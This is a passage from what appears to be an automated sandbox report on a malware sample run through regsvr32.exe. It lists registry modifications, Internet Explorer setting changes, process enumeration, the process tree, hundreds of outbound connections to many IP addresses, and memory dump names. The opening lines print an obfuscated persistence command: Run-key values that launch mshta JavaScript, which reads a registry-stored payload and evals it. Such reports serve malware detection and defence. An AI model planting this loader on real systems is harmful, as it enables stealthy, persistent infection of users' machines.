Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:Nuoq9R2r=\"OfAsB8\";mG17=new%20ActiveXObject(\"WScript.Shell\");qqmSn4dQ=\"H8sC\";fFk2B=mG17.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\445f9b850c\\\\f71cd2f3\");D8NJXysoW7=\"PMgOFvR1\";eval(fFk2B);T0MIPOl=\"7LI44x8YQY\";" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:WHIsA45Dpf=\"fRFyVulrX\";z7n=new%20ActiveXObject(\"WScript.Shell\");zqKriH8=\"lTloT6\";JLNn86=z7n.RegRead(\"HKCU\\\\software\\\\445f9b850c\\\\f71cd2f3\");KMZlS1rAp=\"wNU3I\";eval(JLNn86);JmbK8of=\"Szi8ZIW\";" C:\Windows\SysWOW64\regsvr32.exe N/A

Maps connected drives based on registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 C:\Windows\SysWOW64\regsvr32.exe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Set value (int) \REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000\SOFTWARE\Microsoft\Internet Explorer\International C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\16e3029222864030e68ddeca0687882d_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\16e3029222864030e68ddeca0687882d_JaffaCakes118.exe"

C:\Windows\SysWOW64\regsvr32.exe

regsvr32.exe

C:\Windows\SysWOW64\regsvr32.exe

regsvr32.exe

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\SysWOW64\regsvr32.exe"

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\SysWOW64\regsvr32.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 97.17.167.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 0.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
NL 23.62.61.171:443 www.bing.com tcp
US 8.8.8.8:53 171.61.62.23.in-addr.arpa udp
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
KR 112.169.26.130:80 tcp
CN 157.18.113.184:80 tcp
US 207.26.165.186:8080 tcp
VN 210.245.40.119:80 tcp
KR 183.98.32.159:80 tcp
KR 119.42.166.22:80 tcp
NG 102.38.245.30:80 tcp
CA 99.250.228.93:80 tcp
CN 117.95.94.156:80 tcp
FR 86.238.6.255:80 tcp
US 129.179.243.17:80 tcp
JP 111.101.137.102:8080 tcp
US 38.81.17.254:80 tcp
CN 112.48.246.193:80 tcp
US 207.39.35.236:443 tcp
GB 25.229.176.112:80 tcp
US 22.106.180.151:80 tcp
US 215.251.190.183:80 tcp
US 35.125.26.145:80 tcp
KR 106.102.233.164:80 tcp
FR 79.143.247.7:443 tcp
US 69.54.197.223:80 tcp
US 164.54.174.62:8080 tcp
JP 133.255.65.227:8080 tcp
US 50.141.90.150:80 tcp
US 174.123.105.243:80 tcp
CN 182.141.78.105:80 tcp
CN 119.109.195.148:80 tcp
KR 123.199.47.190:80 tcp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 138.125.78.89:80 tcp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 239.249.30.184.in-addr.arpa udp
US 174.216.14.49:80 tcp
RO 81.12.211.1:80 tcp
CA 142.13.152.182:80 tcp
CN 113.96.27.233:80 tcp
SE 51.21.231.188:8080 tcp
US 135.38.224.130:80 tcp
US 29.129.182.203:80 tcp
DE 91.4.214.238:80 tcp
PK 113.203.199.167:80 tcp
DE 37.122.133.104:8080 tcp
TW 129.227.59.226:80 tcp
US 149.136.206.199:80 tcp
GB 25.55.144.150:80 tcp
CN 119.84.88.21:8080 tcp
CN 112.252.72.217:80 tcp
US 107.31.35.96:80 tcp
KR 27.239.231.27:80 tcp
US 6.62.32.176:80 tcp
BR 177.9.241.138:80 tcp
CN 61.29.183.54:80 tcp
CN 59.206.122.162:80 tcp
PA 200.3.200.212:80 tcp
CH 85.218.125.236:80 tcp
US 169.104.158.195:80 tcp
NL 213.117.43.18:80 tcp
US 33.4.192.101:80 tcp
US 26.157.121.110:80 tcp
N/A 127.3.194.93:80 tcp
US 143.60.34.68:80 tcp
US 33.132.76.86:8080 tcp
JP 154.33.202.136:80 tcp
US 97.156.52.8:80 tcp
US 28.247.81.148:80 tcp
CN 171.221.86.224:443 tcp
US 69.135.129.18:80 tcp
JP 133.246.31.64:80 tcp
CA 51.222.56.84:80 tcp
PT 217.129.55.86:8080 tcp
US 79.69.156.2:80 tcp
CA 51.222.56.84:80 51.222.56.84 tcp
US 8.8.8.8:53 84.56.222.51.in-addr.arpa udp
CO 181.60.23.135:80 tcp
US 65.242.54.61:80 tcp
US 173.105.99.18:80 tcp
US 70.226.161.252:443 tcp
US 166.253.251.241:80 tcp
RS 178.221.56.58:80 tcp
US 107.130.205.3:8080 tcp
ZA 196.255.161.198:80 tcp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 49.15.97.104.in-addr.arpa udp
BG 5.8.67.87:80 tcp
DK 94.146.220.233:80 tcp
NG 197.253.49.164:80 tcp
US 71.156.56.188:80 tcp
DO 186.149.249.209:80 tcp
GR 212.205.94.233:80 tcp
RU 212.3.128.175:80 tcp
JP 39.2.215.189:80 tcp
US 141.111.199.32:80 tcp
CN 182.87.2.111:80 tcp
CN 14.197.127.84:80 tcp
CH 156.25.246.102:80 tcp
FI 135.181.100.58:80 tcp
IT 87.25.225.160:8080 tcp
TR 95.2.233.85:80 tcp
GB 82.3.29.5:80 tcp
US 8.8.8.8:53 58.100.181.135.in-addr.arpa udp
US 56.42.28.179:80 tcp
US 144.68.39.125:80 tcp
JP 219.115.155.222:80 tcp
US 136.248.219.47:80 tcp
CN 123.61.108.120:80 tcp
US 208.166.123.31:80 tcp
FR 91.69.54.159:80 tcp
GB 25.168.194.94:80 tcp
TW 42.66.229.248:80 tcp
US 22.98.88.165:80 tcp
JP 114.150.100.182:443 tcp
DE 178.4.167.35:80 tcp
US 33.18.169.251:8080 tcp
CN 101.52.211.103:80 tcp
IR 89.165.27.70:80 tcp
CA 104.242.5.68:80 tcp
IE 51.37.34.194:80 tcp
US 152.119.195.226:80 tcp
FR 193.253.186.82:80 tcp
NL 178.84.111.228:8080 tcp
N/A 127.253.16.156:443 tcp
US 8.15.183.5:80 tcp
US 136.128.99.136:80 tcp
CN 118.246.154.225:80 tcp
US 8.8.8.8:53 48.229.111.52.in-addr.arpa udp
US 18.41.44.246:443 tcp
US 75.96.195.72:443 tcp
US 207.247.241.145:80 tcp
SA 151.173.231.150:443 tcp
CN 150.115.173.170:80 tcp
US 215.232.25.67:80 tcp
US 132.99.59.56:80 tcp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
CN 171.84.116.20:80 tcp
JP 106.169.152.55:80 tcp
IL 5.29.103.38:80 tcp
US 48.163.12.105:80 tcp
CN 42.254.249.73:80 tcp
US 22.79.13.191:80 tcp
CN 159.138.18.68:80 tcp
CN 222.22.218.121:80 tcp
US 170.205.14.140:80 tcp
CA 51.222.56.84:80 51.222.56.84 tcp
US 52.255.234.70:80 tcp
GB 31.65.47.235:80 tcp
N/A 10.225.146.162:80 tcp
US 8.8.8.8:53 140.14.205.170.in-addr.arpa udp
NL 92.121.190.193:80 tcp
NL 89.30.50.153:443 tcp
US 54.35.18.178:80 tcp
FR 152.81.76.188:80 tcp
NZ 125.238.52.71:443 tcp
ES 88.18.79.229:80 tcp
AU 203.9.30.19:80 tcp
US 56.218.133.249:80 tcp
US 63.211.110.95:443 tcp
BR 201.84.2.27:80 tcp
IT 31.26.147.96:80 tcp
ZA 146.232.199.229:80 tcp
KR 210.110.89.167:80 tcp
US 48.58.204.239:80 tcp
ZA 41.217.244.157:80 tcp
US 74.168.210.166:80 tcp
US 67.67.165.238:80 tcp
FI 193.229.214.137:80 tcp
GB 51.43.64.106:443 tcp
US 159.230.236.64:443 tcp
US 209.39.239.142:80 tcp
US 6.89.7.208:80 tcp
BR 179.157.128.232:80 tcp
CN 166.111.138.129:80 tcp
US 205.1.141.150:80 tcp
SE 46.227.73.141:80 tcp
US 108.67.64.172:80 tcp
TW 58.114.141.35:443 tcp
FR 77.151.234.204:80 tcp
IT 151.95.155.252:80 tcp
US 70.4.163.131:80 tcp
US 50.138.163.207:80 tcp
BR 189.103.7.151:80 tcp
DE 53.247.243.255:80 tcp
CA 137.83.90.166:8080 tcp
US 128.88.45.99:80 tcp
N/A 127.232.134.54:80 tcp
US 214.5.10.130:80 tcp
US 20.62.59.112:80 tcp
US 162.48.49.183:80 tcp
JP 160.24.39.193:80 tcp
US 12.203.160.222:80 tcp
EG 41.32.33.84:8080 tcp
BR 179.48.59.117:80 tcp
US 33.183.171.233:80 tcp
BR 34.39.239.18:80 tcp
US 154.2.133.92:8080 tcp
JP 193.114.73.169:80 tcp
US 28.111.192.69:443 tcp
AU 138.7.44.38:80 tcp
US 108.100.168.228:80 tcp
BR 200.149.21.34:80 tcp
MA 160.90.64.2:80 tcp
KR 223.62.45.173:80 tcp
TW 192.83.173.147:8080 tcp
FR 212.234.102.198:80 tcp
CN 117.153.194.95:80 tcp
JP 119.243.71.184:80 tcp
IN 59.90.96.131:80 tcp
US 136.55.188.3:80 tcp
SG 43.81.44.160:80 tcp
US 154.63.143.213:80 tcp
US 63.36.246.49:80 tcp
CA 51.222.56.84:80 51.222.56.84 tcp
N/A 82.252.138.169:80 tcp

Files

memory/740-0-0x0000000002740000-0x0000000002A90000-memory.dmp

memory/740-1-0x0000000000630000-0x0000000000631000-memory.dmp

memory/740-2-0x0000000002740000-0x0000000002A90000-memory.dmp

memory/740-3-0x0000000000630000-0x0000000000631000-memory.dmp

memory/740-4-0x0000000000400000-0x000000000048E000-memory.dmp

memory/740-6-0x0000000000060000-0x000000000012C000-memory.dmp

memory/740-9-0x0000000000060000-0x000000000012C000-memory.dmp

memory/740-8-0x0000000000060000-0x000000000012C000-memory.dmp

memory/740-7-0x0000000000060000-0x000000000012C000-memory.dmp

memory/740-10-0x0000000000060000-0x000000000012C000-memory.dmp

memory/740-11-0x0000000000060000-0x000000000012C000-memory.dmp

memory/740-18-0x0000000000400000-0x000000000048E000-memory.dmp

memory/1652-15-0x00000000000B0000-0x00000000000B9000-memory.dmp

memory/1652-19-0x00000000000B0000-0x00000000000B9000-memory.dmp

memory/1652-21-0x00000000000B0000-0x00000000000B9000-memory.dmp

memory/1652-22-0x00000000010F0000-0x00000000011BC000-memory.dmp

memory/1652-26-0x00000000010F0000-0x00000000011BC000-memory.dmp

memory/1652-25-0x00000000010F0000-0x00000000011BC000-memory.dmp

memory/1652-24-0x00000000010F0000-0x00000000011BC000-memory.dmp

memory/1652-23-0x00000000010F0000-0x00000000011BC000-memory.dmp

memory/4344-32-0x00000000000B0000-0x00000000000B9000-memory.dmp

memory/4344-37-0x00000000000B0000-0x00000000000B9000-memory.dmp

memory/4344-35-0x00000000000B0000-0x00000000000B9000-memory.dmp

memory/4344-38-0x0000000000EE0000-0x0000000000FAC000-memory.dmp

memory/4344-42-0x0000000000EE0000-0x0000000000FAC000-memory.dmp

memory/4344-40-0x0000000000EE0000-0x0000000000FAC000-memory.dmp

memory/4344-43-0x0000000000EE0000-0x0000000000FAC000-memory.dmp

memory/4344-39-0x0000000000EE0000-0x0000000000FAC000-memory.dmp

memory/4344-41-0x0000000000EE0000-0x0000000000FAC000-memory.dmp

memory/4344-47-0x0000000000EE0000-0x0000000000FAC000-memory.dmp

memory/4344-49-0x0000000000EE0000-0x0000000000FAC000-memory.dmp

memory/4344-51-0x0000000000EE0000-0x0000000000FAC000-memory.dmp

memory/4344-52-0x0000000000EE0000-0x0000000000FAC000-memory.dmp

memory/4344-50-0x0000000000EE0000-0x0000000000FAC000-memory.dmp

memory/4344-48-0x0000000000EE0000-0x0000000000FAC000-memory.dmp

memory/4344-46-0x0000000000EE0000-0x0000000000FAC000-memory.dmp

memory/4344-45-0x0000000000EE0000-0x0000000000FAC000-memory.dmp

memory/4344-44-0x0000000000EE0000-0x0000000000FAC000-memory.dmp

memory/1652-27-0x00000000010F0000-0x00000000011BC000-memory.dmp

memory/2216-53-0x00000000000B0000-0x00000000000B9000-memory.dmp

memory/2216-56-0x00000000000B0000-0x00000000000B9000-memory.dmp

memory/2216-54-0x00000000000B0000-0x00000000000B9000-memory.dmp

memory/2216-57-0x0000000000A40000-0x0000000000B0C000-memory.dmp

memory/2216-58-0x0000000000A40000-0x0000000000B0C000-memory.dmp

memory/2216-61-0x0000000000A40000-0x0000000000B0C000-memory.dmp

memory/2216-62-0x0000000000A40000-0x0000000000B0C000-memory.dmp

memory/2216-60-0x0000000000A40000-0x0000000000B0C000-memory.dmp

memory/2216-59-0x0000000000A40000-0x0000000000B0C000-memory.dmp

memory/4344-63-0x0000000000EE0000-0x0000000000FAC000-memory.dmp

memory/4344-64-0x0000000000EE0000-0x0000000000FAC000-memory.dmp

memory/4924-65-0x00000000000B0000-0x00000000000B9000-memory.dmp

memory/4924-68-0x00000000000B0000-0x00000000000B9000-memory.dmp

memory/4924-66-0x00000000000B0000-0x00000000000B9000-memory.dmp

memory/4924-69-0x0000000000E00000-0x0000000000ECC000-memory.dmp